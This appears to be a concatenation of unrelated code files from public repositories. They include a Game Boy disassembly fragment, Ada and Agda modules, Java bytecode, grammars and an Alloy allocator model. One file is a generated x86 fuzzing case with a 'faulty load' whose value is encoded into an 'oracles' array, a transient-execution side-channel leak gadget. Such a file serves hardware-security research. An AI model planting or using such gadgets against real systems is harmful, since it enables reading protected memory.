hl, $C210 add hl, bc sub a, [hl] ld hl, $C310 add hl, bc add a, [hl] bit 7, a jr nz, .else_03_7ECE inc e .else_03_7ECE: ld d, a ret toc_03_7ED0: call toc_03_7EAB ld a, e ld [$FFD7], a ld a, d bit 7, a jr z, .else_03_7EDD cpl inc a .else_03_7EDD: push af call toc_03_7EBB ld a, e ld [$FFD8], a ld a, d bit 7, a jr z, .else_03_7EEB cpl inc a .else_03_7EEB: pop de cp d jr nc, .else_03_7EF3 ld a, [$FFD7] jr .toc_03_7EF5 .else_03_7EF3: ld a, [$FFD8] .toc_03_7EF5: ld e, a ret toc_03_7EF7: call toc_03_7F04 push bc ld a, c add a, $10 ld c, a call toc_03_7F04 pop bc ret toc_03_7F04: ld hl, $C240 add hl, bc ld a, [hl] and a jr z, .return_03_7F2F push af swap a and %11110000 ld hl, $C260 add hl, bc add a, [hl] ld [hl], a rl d ld hl, $C200 .toc_03_7F1C: add hl, bc pop af ld e, $00 bit 7, a jr z, .else_03_7F26 ld e, $F0 .else_03_7F26: swap a and %00001111 or e rr d adc [hl] ld [hl], a .return_03_7F2F: ret toc_03_7F30: ld hl, $C320 add hl, bc ld a, [hl] and a jr z, toc_03_7F04.return_03_7F2F push af swap a and %11110000 ld hl, $C330 add hl, bc add a, [hl] ld [hl], a rl d ld hl, $C310 jr toc_03_7F04.toc_03_7F1C toc_03_7F4A: ifEq [$FFEA], $05, .else_03_7F6A .toc_03_7F50: ifNe [wGameMode], GAMEMODE_WORLD_MAP, .else_03_7F6A ld a, [wDialogState] ld hl, $C1A8 or [hl] ld hl, $C14F or [hl] jr nz, .else_03_7F6A ifNotZero [wRoomTransitionState], .return_03_7F6B .else_03_7F6A: pop af .return_03_7F6B: ret toc_03_7F6C: ld hl, $C410 add hl, bc ld a, [hl] and a jr z, .return_03_7FB8 dec a ld [hl], a call toc_01_3EB8 ld hl, $C240 add hl, bc ld a, [hl] push af ld hl, $C250 add hl, bc ld a, [hl] push af ld hl, $C3F0 add hl, bc ld a, [hl] ld hl, $C240 add hl, bc ld [hl], a ld hl, $C400 add hl, bc ld a, [hl] ld hl, $C250 add hl, bc ld [hl], a call toc_03_7EF7 ld hl, $C430 add hl, bc ld a, [hl] and %00100000 jr nz, .else_03_7FA8 call toc_03_7892 .else_03_7FA8: ld hl, $C250 add hl, bc pop af ld [hl], a ld hl, $C240 add hl, bc pop af ld [hl], a pop af call toc_01_3ED9 .return_03_7FB8: ret db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_21829_839.asm
ljhsiun2/medusa
9
84770
.global s_prepare_buffers s_prepare_buffers: push %r13 push %rbp push %rdi push %rsi lea addresses_WC_ht+0x172cf, %rsi nop nop nop nop nop sub $27749, %rbp mov $0x6162636465666768, %rdi movq %rdi, %xmm2 vmovups %ymm2, (%rsi) nop nop nop nop sub $51636, %r13 pop %rsi pop %rdi pop %rbp pop %r13 ret .global s_faulty_load s_faulty_load: push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rdx // Store mov $0x5273fc00000002ef, %rax nop nop nop nop nop dec %r8 mov $0x5152535455565758, %rbp movq %rbp, %xmm3 movups %xmm3, (%rax) nop nop nop inc %rbp // Store lea addresses_WC+0x11ecf, %rdi nop inc %rdx mov $0x5152535455565758, %r9 movq %r9, (%rdi) nop nop cmp $36487, %rcx // Faulty Load lea addresses_PSE+0x18acf, %rax nop nop cmp %r8, %r8 mov (%rax), %rdi lea oracles, %r9 and $0xff, %rdi shlq $12, %rdi mov (%r9,%rdi,1), %rdi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 10}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
ada homework1/src/vector_package.ads
jamalakhaligova/ADA
0
17417
<reponame>jamalakhaligova/ADA with Ada.Integer_Text_IO, Ada.Text_IO; use Ada.Text_IO; package Vector_package is subtype Length is Positive range 1..1000; type Vector(Max: Length := 100) is limited private; type TArray is array(Positive range <>) of Integer; function size(V: Vector) return Natural; -- the size of a Vector function first(V: Vector) return Integer; -- first number from the Vector function last(V: Vector) return Integer; -- last number from the Vector function is_Empty (V: Vector) return Boolean; -- is Vector empty procedure insert(V: in out Vector; number: Integer); -- insert a number into the Vector procedure assign(V: in out Vector; n, number: Integer ); -- insert a number to the Vector n times procedure pop(V: in out Vector); -- remove a number from the Vector procedure remove(V: in out Vector; number: Integer; all_occurrences: Boolean:= False); -- remove a number from the Vector, with all_occurrences False as default to remove first occurrence only, otherwise remove all occurrences procedure swap(V1, V2: in out Vector); -- swap two Vectors procedure join(V1, V2: in out Vector); -- join two Vectors into the first function compare(V1, V2: Vector) return Boolean; -- compare if two Vectors have the same numbers procedure copy(V: in out Vector; arr: TArray); -- copy numbers from the array to the Vector procedure clear(V: in out Vector); -- clear the Vector and make it empty procedure print_Vector(V: in Vector); -- prints the Vector private type Vector(Max: Length:=100 ) is record Data: TArray(1..Max); Index: Natural := 0; end record; end Vector_package;
examples/UnSized/Parrot.agda
agda/ooAgda
23
7147
<filename>examples/UnSized/Parrot.agda module UnSized.Parrot where open import Data.Product open import Data.String.Base open import UnSizedIO.IOObject open import UnSizedIO.Base hiding (main) open import UnSizedIO.Console hiding (main) open import NativeIO open import UnSized.SimpleCell hiding (program; main) --ParrotC : Set --ParrotC = ConsoleObject (cellI String) -- but reusing cellC from SimpleCell, as interface is ident! -- class Parrot implements Cell { -- Cell cell; -- Parrot (Cell c) { cell = c; } -- public String get() { -- return "(" + cell.get() + ") is what parrot got"; -- } -- public void put (String s) { -- cell.put("parrot puts (" + s + ")"); -- } -- } -- parrotP is constructor for the consoleObject for interface (cellI String) {-# NON_TERMINATING #-} parrotP : (c : CellC) → CellC (method (parrotP c) get) = exec1 (putStrLn "printing works") >> method c get >>= λ { (s , c') → return ("(" ++ s ++ ") is what parrot got" , parrotP c') } (method (parrotP c) (put s)) = method c (put ("parrot puts (" ++ s ++ ")")) -- public static void main (String[] args) { -- Parrot c = new Parrot(new SimpleCell("Start")); -- System.out.println(c.get()); -- c.put(args[1]); -- System.out.println(c.get()); -- } -- } program : String → IOConsole Unit program arg = let c₀ = parrotP (cellP "Start") in method c₀ get >>= λ{ (s , c₁) → exec1 (putStrLn s) >> method c₁ (put arg) >>= λ{ (_ , c₂) → method c₂ get >>= λ{ (s' , c₃) → exec1 (putStrLn s') }}} main : NativeIO Unit main = translateIOConsole (program "hello")
test/java/two-classes/ASecondClass.asm
OfekShilon/compiler-explorer
4,668
242424
Compiled from "example.java" class ASecondClass { ASecondClass(); Code: 0: aload_0 1: invokespecial #1 // Method java/lang/Object."<init>":()V 4: return LineNumberTable: line 7: 0 static int square(int); Code: 0: iload_0 1: iload_0 2: imul 3: ireturn LineNumberTable: line 9: 0 }
linear_algebra/cholesky_lu.adb
jscparker/math_packages
30
13760
-------------------------------------------------------------------------------- -- package body Cholesky_LU, Cholesky decomposition -- Copyright (C) 1995-2018 <NAME> -- -- Permission to use, copy, modify, and/or distribute this software for any -- purpose with or without fee is hereby granted, provided that the above -- copyright notice and this permission notice appear in all copies. -- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES -- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR -- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF -- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --------------------------------------------------------------------------------- with Ada.Numerics.Generic_Elementary_Functions; package body Cholesky_LU is package Math is new Ada.Numerics.Generic_Elementary_Functions(Real);-- for Sqrt use Math; -------------- -- Product -- -------------- -- Matrix Vector multiplication function Product (A : in Matrix; X : in Col_Vector; Final_Index : in Index := Index'Last; Starting_Index : in Index := Index'First) return Col_Vector is Result : Col_Vector := (others => Zero); Sum : Real; begin for i in Starting_Index .. Final_Index loop Sum := Zero; for j in Starting_Index .. Final_Index loop Sum := Sum + A(i, j) * X(j); end loop; Result(I) := Sum; end loop; return Result; end Product; --------- -- "-" -- --------- function "-"(A, B : in Col_Vector) return Col_Vector is Result : Col_Vector; begin for J in Index loop Result(J) := A(J) - B(J); end loop; return Result; end "-"; ------------------ -- LU_Decompose -- ------------------ procedure LU_Decompose (A : in out Matrix; Diag_Inverse : out Col_Vector; Final_Index : in Index := Index'Last; Starting_Index : in Index := Index'First) is Final_Stage : Index; Sum, Pivot_Info, Scale_Factor : Real; begin for I in Starting_Index .. Final_Index loop if A(I, I) <= Zero then raise Constraint_Error with "Matrix doesn't seem to be positive definite."; end if; end loop; -- Positive definite matrices are never zero or negative on the -- diagonal. The above catches some common input errors, if you want. -- 1 X 1 matrix: if Final_Index = Starting_Index then A(Final_Index, Final_Index) := Sqrt (A(Final_Index, Final_Index)); Diag_Inverse(Final_Index) := One / A(Final_Index, Final_Index); return; end if; -- Perform decomp in stages Starting_Index..Final_Index. -- The last stage, Final_Index, is a special case. -- At each stage calculate row "stage" of the Upper matrix -- U and Col "Stage" of the Lower matrix L. for Stage in Starting_Index .. Final_Index-1 loop Sum := Zero; if Stage > Starting_Index then for Col in Starting_Index .. Stage-1 loop --Sum := Sum + L(Stage, Col) * U(Col, Stage);-- use U = transpose(L) Sum := Sum + A(Stage, Col) * A(Stage, Col); end loop; end if; Pivot_Info := A(Stage, Stage) - Sum; if Pivot_Info < Min_Allowed_Real then raise Constraint_Error with "Matrix doesn't seem to be positive definite."; end if; A(Stage, Stage) := Sqrt (Pivot_Info); Scale_Factor := One / A(Stage, Stage); Diag_Inverse(Stage) := Scale_Factor; if Stage > Starting_Index then for Row in Stage+1..Final_Index loop Sum := Zero; for Col in Starting_Index .. Stage-1 loop --Sum := Sum + L(Stage, Col) * U(Col, Row); -- use U = transpose(L) Sum := Sum + A(Stage, Col) * A(Row, Col); end loop; A(Row, Stage) := Scale_Factor * (A(Row, Stage) - Sum); end loop; else for Row in Stage+1..Final_Index loop A(Row, Stage) := Scale_Factor * A(Row, Stage); end loop; end if; end loop; -- Stage -- Step 3: Get final row and column. Final_Stage := Final_Index; Sum := Zero; for K in Starting_Index..Final_Stage-1 loop Sum := Sum + A(Final_Stage, K) * A(Final_Stage, K); end loop; Pivot_Info := A(Final_Stage, Final_Stage) - Sum; if Pivot_Info < Min_Allowed_Real then raise Constraint_Error with "Matrix doesn't seem to be positive definite."; end if; A(Final_Stage, Final_Stage) := Sqrt (Pivot_Info); Diag_Inverse(Final_Stage) := One / A(Final_Stage, Final_Stage); -- Step 4: Have L, now fill in the Upper triangular -- matrix with transpose(L). Recall A_LU = L*U = L*transpose(L). -- Read from the Lower triangle. Row > Col for the Lower Tri: for Row in Starting_Index+1 .. Final_Index loop for Col in Starting_Index..Row-1 loop A(Col, Row) := A(Row, Col); end loop; end loop; end LU_Decompose; ----------- -- Solve -- ----------- -- Solve for X in the equation A*X = b. Below you enter the LU -- decomposition of A, not A itself. A_Lu and Diag_Inverse are -- the objects returned by LU_decompose. procedure Solve (X : out Col_Vector; B : in Col_Vector; A_LU : in Matrix; Diag_Inverse : in Col_Vector; Final_Index : in Index := Index'Last; Starting_Index : in Index := Index'First) is Z : Col_Vector; First_Non_Zero_B : Index := Starting_Index; Sum : Real; begin for Row in Index loop X(Row) := Zero; end loop; --for I in Starting_Index..Final_Index loop -- if Abs (B(I)) > 0.0 then -- First_Non_Zero_B := I; -- exit; -- end if; --end loop; -- -- In solving for Z in the equation L Z = B, the Z's are -- zero up to the 1st non-zero element of B. -- --if First_Non_Zero_B > Starting_Index then -- for I in Index range Starting_Index..First_Non_Zero_B-1 loop -- Z(I) := 0.0; -- end loop; --end if; First_Non_Zero_B := Starting_Index; -- The matrix equation is in the form L * tr(L) * X2 = B. -- First assume tr(L) * X2 is Z, and -- solve for Z in the equation L Z = B. Z(First_Non_Zero_B) := B(First_Non_Zero_B) * Diag_Inverse(First_Non_Zero_B); if First_Non_Zero_B < Final_Index then for Row in First_Non_Zero_B+1..Final_Index loop Sum := Zero; for Col in Index range Starting_Index..Row-1 loop Sum := Sum + A_LU(Row, Col) * Z(Col); end loop; Z(Row) := (B(Row) - Sum) * Diag_Inverse(Row); end loop; end if; -- Solve for X2 in the equation tr(L) * X2 = U * X2 = Z. X(Final_Index) := Z(Final_Index) * Diag_Inverse(Final_Index); if Final_Index > Starting_Index then for Row in reverse Starting_Index .. Final_Index-1 loop Sum := Zero; for Col in Index range Row+1..Final_Index loop Sum := Sum + A_LU(Row, Col) * X(Col); end loop; X(Row) := (Z(Row) - Sum) * Diag_Inverse(Row); end loop; end if; end Solve; end Cholesky_LU;
programs/oeis/089/A089830.asm
neoneye/loda
22
101388
<gh_stars>10-100 ; A089830: Expansion of (1-3*x+6*x^2-5*x^3+3*x^4-x^5)/(1-x)^6. ; 1,3,9,24,57,122,239,435,745,1213,1893,2850,4161,5916,8219,11189,14961,19687,25537,32700,41385,51822,64263,78983,96281,116481,139933,167014,198129,233712,274227,320169,372065,430475,495993,569248,650905,741666,842271 lpb $0 mov $2,$0 sub $0,1 add $1,$0 seq $2,116699 ; Number of permutations of length n which avoid the patterns 123 and 4312. add $1,$2 lpe add $1,1 mov $0,$1
Content/Beast.g4
BeastTrees/BeastLang
2
241
<reponame>BeastTrees/BeastLang grammar Beast; program: instruction* EOF; instruction: statement; statement: assignment ';'; assignment: IDENTIFIER '=' value; value: constant | IDENTIFIER; constant: INTEGER | FLOAT | BOOL; INTEGER: [0-9]*; FLOAT: [0-9.]*; BOOL: 'true' | 'false'; IDENTIFIER: [a-zA-Z_][a-zA-Z0-9_]*; WS: [ \t\r\n]+ -> skip;
alloy_model/memalloc/block.als
vasil-sd/engineering-sw-hw-model-checking-letures
16
4154
<reponame>vasil-sd/engineering-sw-hw-model-checking-letures<gh_stars>10-100 module block[Time] /* Так как при моделировании операций над блоками нам потребуется концепция времени, то этот модуль параметризован некоторой сигнатурой 'Time'. От элементов которой нам нужно только свойство упорядоченности. */ open order[Time] open size as s open address as a /* Основные атрибуты блока памяти - это адрес и размер. Так как адрес и размер блока могут меняться со временем при выполнении операций над структурой памяти, то эти атрибуты заданы тернарными отношениями: Addr: Block -> AddrSpace -> Time, какому блоку какие адреса в какой момент времени соответствуют Size: Block -> Size -> Time, аналогично для размеров */ sig Block { Addr: AddrSpace one -> Time, Size: s/Size one -> Time } { /* Тут задаём основное свойство блоков (инвариант): блок или имеет адрес 'null' и размер 'zero' или валидный адрес и ненулевой размер. */ all t: Time | (Addr.t = null and Size.t = zero) or (not_null[Addr.t] and non_zero[Size.t]) } fun lowest_block[Bs: set Block, t: Time] : set Block { { b: Bs | b.Addr.t = minimum[Bs.Addr.t]} } fun but_lowest[Bs: set Block, t: Time] : set Block { Bs - Bs.lowest_block[t] } fun SizeOfAll[Bs : set Block, t: Time] : one Size { no Bs implies zero else #Bs = 1 implies Bs.Size.t else #Bs = 2 implies Bs.Size2[t] else #Bs = 3 implies Bs.Size3[t] else #Bs = 4 implies Bs.Size4[t] else #Bs = 5 implies Bs.Size5[t] else #Bs = 6 implies Bs.Size6[t] else #Bs = 7 implies Bs.Size7[t] else #Bs = 8 implies Bs.Size8[t] else zero } fun Size2[Bs: set Block, t: Time] : one Size { Sum[(Bs.lowest_block[t]).Size.t, (Bs.but_lowest[t]).Size.t] } fun Size3[Bs: set Block, t: Time] : one Size { Sum[(Bs.lowest_block[t]).Size.t, Size2[Bs.but_lowest[t], t]] } fun Size4[Bs: set Block, t: Time] : one Size { Sum[(Bs.lowest_block[t]).Size.t, Size3[Bs.but_lowest[t], t]] } fun Size5[Bs: set Block, t: Time] : one Size { Sum[(Bs.lowest_block[t]).Size.t, Size4[Bs.but_lowest[t], t]] } fun Size6[Bs: set Block, t: Time] : one Size { Sum[(Bs.lowest_block[t]).Size.t, Size5[Bs.but_lowest[t], t]] } fun Size7[Bs: set Block, t: Time] : one Size { Sum[(Bs.lowest_block[t]).Size.t, Size6[Bs.but_lowest[t], t]] } fun Size8[Bs: set Block, t: Time] : one Size { Sum[(Bs.lowest_block[t]).Size.t, Size7[Bs.but_lowest[t], t]] } Example_SizeOfAll: run { all t: Time | #t.VisibleBlocks > 2 and some s: s/Size | s = SizeOfAll[t.VisibleBlocks, t] } for 6 but 3 Block /* Тут вводится концепция видимости блоков, подробное объяснение этого есть в видео. Блок видимый только тогда, когда его адрес не 'null' и размер не 'zero'. */ one sig BlockVisibility { Visible: set Block -> Time, -- множество видимых блоков в конкретный момент времени Invisible: set Block -> Time -- аналогично - множество невидимых } { all t: Time | Invisible.t = Addr.t.null + Size.t.zero all t: Time | Visible.t = Block - Invisible.t } -- эти функции для удобства и читабельности определений в спецификациях fun VisibleBlocks[T:Time] : set Block { BlockVisibility.Visible.T } fun InvisibleBlocks[T:Time]: set Block { BlockVisibility.Invisible.T } -- предикаты, которые говорят о том видим ли блок в конкретный момент времени или нет pred Visible[B: Block, T:Time] { B in T.VisibleBlocks } pred Invisible[B: Block, T:Time] { B in T.InvisibleBlocks } /* Функция получения первого адреса памяти, который следует сразу после блока */ fun NextBlockAddr[B: Block, T: Time] : AddrSpace { Sum[B.Addr.T, B.Size.T] } /* Предикат проверки того, что указанный адрес принадлежит блоку памяти */ pred InBlock[A:Address, B:Block, T:Time] { greater_or_equal[A, B.Addr.T] less[A, B.NextBlockAddr[T]] } -- этот предикат понадобится в определении опреции 'malloc' -- когда большой пустой блок нужно разрезать на два -- этот предикат определяет можно ли заданный блок разрезать в -- заданный момент времени pred Splittable[B: Block, T: Time] { some a: Address | some s1,s2 : s/Size - zero { a.InBlock[B, T] a != B.Addr.T B.Size.T = Sum[s1,s2] } } -- этот предикат - часть так называемых frame axioms -- говорит о том, что с предыдущего момента времени до 'Tnow' -- изменились только указанные блоки, остальные остались неизменны. -- подробнее о frame problem и способах решения см. https://en.wikipedia.org/wiki/Frame_problem pred BlocksAreTheSameExcept[now: Time, Bs: set Block] { let past = now.prev { all B: Block - Bs { B.Addr.now = B.Addr.past B.Size.now = B.Size.past } } } /* Проверяем, что мы правильно задали определения для свойства видимости блоков: 1. объединение множеств видимых и невидимых блоков в каждый момент времени должно быть равно множеству всех блоков 2. множества видимых и невидимых не пересекаются ни в какой момент времени То есть: в любой момент времени каждый блок либо видим, либо невидим, и в любой момент времени блок не может быть одновремено видимым и невидимым. */ check1: check { all t: Time | t.VisibleBlocks + t.InvisibleBlocks = Block all t: Time | no t.VisibleBlocks & t.InvisibleBlocks } for 7 example: run { -- в каждый момент времени, есть по крайней мере один блок, который можно -- разделить на два all t: Time | some b: Block | b.Splittable[t] -- тут посмотрим на то, как работает framing предикат: -- между любыми двумя последовательными моментами времени -- измениться может только (и ровно) один блок (мультипликтор one) all t: Time - first | one b : Block | t.BlocksAreTheSameExcept[b] } for 4 but exactly 5 Block -- блоков ровно 5 во всех моделях, остальные сигнатуры от 0 до 4 атомов
agda/Data/Sum.agda
oisdk/combinatorics-paper
4
7148
{-# OPTIONS --cubical --safe #-} module Data.Sum where open import Level open import Cubical.Data.Sum using (_⊎_; inl; inr) public open import Data.Bool using (Bool; true; false) open import Function using (const) either : ∀ {ℓ} {C : A ⊎ B → Type ℓ} → ((a : A) → C (inl a)) → ((b : B) → C (inr b)) → (x : A ⊎ B) → C x either f _ (inl x) = f x either _ g (inr y) = g y ⟦l_,r_⟧ = either either′ : (A → C) → (B → C) → (A ⊎ B) → C either′ = either is-l : A ⊎ B → Bool is-l = either′ (const true) (const false) map-⊎ : ∀ {a₁ a₂ b₁ b₂} {A₁ : Type a₁} {A₂ : Type a₂} {B₁ : Type b₁} {B₂ : Type b₂} → (A₁ → A₂) → (B₁ → B₂) → (A₁ ⊎ B₁) → (A₂ ⊎ B₂) map-⊎ f g (inl x) = inl (f x) map-⊎ f g (inr x) = inr (g x) mapˡ : (A → B) → A ⊎ C → B ⊎ C mapˡ f (inl x) = inl (f x) mapˡ f (inr x) = inr x mapʳ : (A → B) → C ⊎ A → C ⊎ B mapʳ f (inl x) = inl x mapʳ f (inr x) = inr (f x)
src/main/antlr4/org/puffinbasic/antlr4/PuffinBasic.g4
mayuropensource/PuffinBASIC
23
1460
<reponame>mayuropensource/PuffinBASIC<filename>src/main/antlr4/org/puffinbasic/antlr4/PuffinBasic.g4<gh_stars>10-100 grammar PuffinBasic; prog : (line | NEWLINE)* ; line : linenum? stmtlist? comment? NEWLINE ; linenum : DECIMAL ; comment : COMMENT ; COMMENT : (REM SPACE | APOSTROPHE) ~[\r\n]* ; stmt : printusingstmt | printhashusingstmt | printstmt | printhashstmt | writestmt | writehashstmt | letstmt | autoletstmt | ifstmt | ifthenbeginstmt | elsebeginstmt | endifstmt | forstmt | nextstmt | gotostmt | gotolabelstmt | endstmt | deffnstmt | functionbeginstmt | functionreturnstmt | functionendstmt | importstmt | libtagstmt | dimstmt | reallocstmt | gosubstmt | gosublabelstmt | returnstmt | whilestmt | wendstmt | lsetstmt | rsetstmt | swapstmt | open1stmt | open2stmt | closestmt | putstmt | getstmt | fieldstmt | inputstmt | inputhashstmt | lineinputstmt | lineinputhashstmt | readstmt | datastmt | restorestmt | randomizestmt | randomizetimerstmt | defintstmt | deflngstmt | defsngstmt | defdblstmt | defstrstmt | middlrstmt | sleepstmt | screenstmt | circlestmt | linestmt | colorstmt | paintstmt | psetstmt | drawstmt | graphicsgetstmt | graphicsputstmt | graphicsbuffercopyhorstmt | fontstmt | drawstrstmt | loadimgstmt | saveimgstmt | clsstmt | beepstmt | repaintstmt | arrayfillstmt | arraycopystmt | array1dcopystmt | array1dsortstmt | array2dshifthorstmt | array2dshiftverstmt | loadwavstmt | playwavstmt | stopwavstmt | loopwavstmt | labelstmt | liststmt | dictstmt | setstmt | structstmt | structinstancestmt | func | variable ; variable : leafvariable | structvariable ; leafvariable : varname varsuffix? (LPAREN expr (COMMA expr)* RPAREN)? ; structvariable : varname (DOT varname)* DOT leafvariable (LPAREN expr (COMMA expr)* RPAREN)? ; varname : VARNAME ; varsuffix : DOLLAR | PERCENT | AT | EXCLAMATION | HASH ; expr : (PLUS | MINUS)? func # ExprFunc | (PLUS | MINUS)? number # ExprNumber | (PLUS | MINUS)? variable # ExprVariable | LPAREN expr RPAREN # ExprParen | string # ExprString | expr EXPONENT expr # ExprExp | expr (MUL|FLOAT_DIV|INT_DIV) expr # ExprMulDiv | expr MOD expr # ExprMod | expr (PLUS|MINUS) expr # ExprPlusMinus | expr (RELEQ|RELNEQ|RELLT|RELGT|RELLE|RELGE) expr # ExprRelational | LOGNOT expr # ExprLogNot | expr (LOGAND|LOGOR|LOGXOR|LOGEQV|LOGIMP) expr # ExprLogical | expr (BWLSFT|BWRSFT) expr # ExprBitwise ; func : variable DOT funcname LPAREN (expr (COMMA expr)*)? RPAREN # FuncMemberMethodCall | ABS LPAREN expr RPAREN # FuncAbs | ASC LPAREN expr RPAREN # FuncAsc | SIN LPAREN expr RPAREN # FuncSin | COS LPAREN expr RPAREN # FuncCos | TAN LPAREN expr RPAREN # FuncTan | ASIN LPAREN expr RPAREN # FuncASin | ACOS LPAREN expr RPAREN # FuncACos | ATN LPAREN expr RPAREN # FuncAtn | SINH LPAREN expr RPAREN # FuncSinh | COSH LPAREN expr RPAREN # FuncCosh | TANH LPAREN expr RPAREN # FuncTanh | SQR LPAREN expr RPAREN # FuncSqr | CINT LPAREN expr RPAREN # FuncCint | CLNG LPAREN expr RPAREN # FuncClng | CSNG LPAREN expr RPAREN # FuncCsng | CDBL LPAREN expr RPAREN # FuncCdbl | CHRDLR LPAREN expr RPAREN # FuncChrDlr | MKIDLR LPAREN expr RPAREN # FuncMkiDlr | MKLDLR LPAREN expr RPAREN # FuncMklDlr | MKSDLR LPAREN expr RPAREN # FuncMksDlr | MKDDLR LPAREN expr RPAREN # FuncMkdDlr | CVI LPAREN expr RPAREN # FuncCvi | CVL LPAREN expr RPAREN # FuncCvl | CVS LPAREN expr RPAREN # FuncCvs | CVD LPAREN expr RPAREN # FuncCvd | SPACEDLR LPAREN expr RPAREN # FuncSpaceDlr | STRDLR LPAREN expr RPAREN # FuncStrDlr | VAL LPAREN expr RPAREN # FuncVal | INT LPAREN expr RPAREN # FuncInt | FIX LPAREN expr RPAREN # FuncFix | LOG 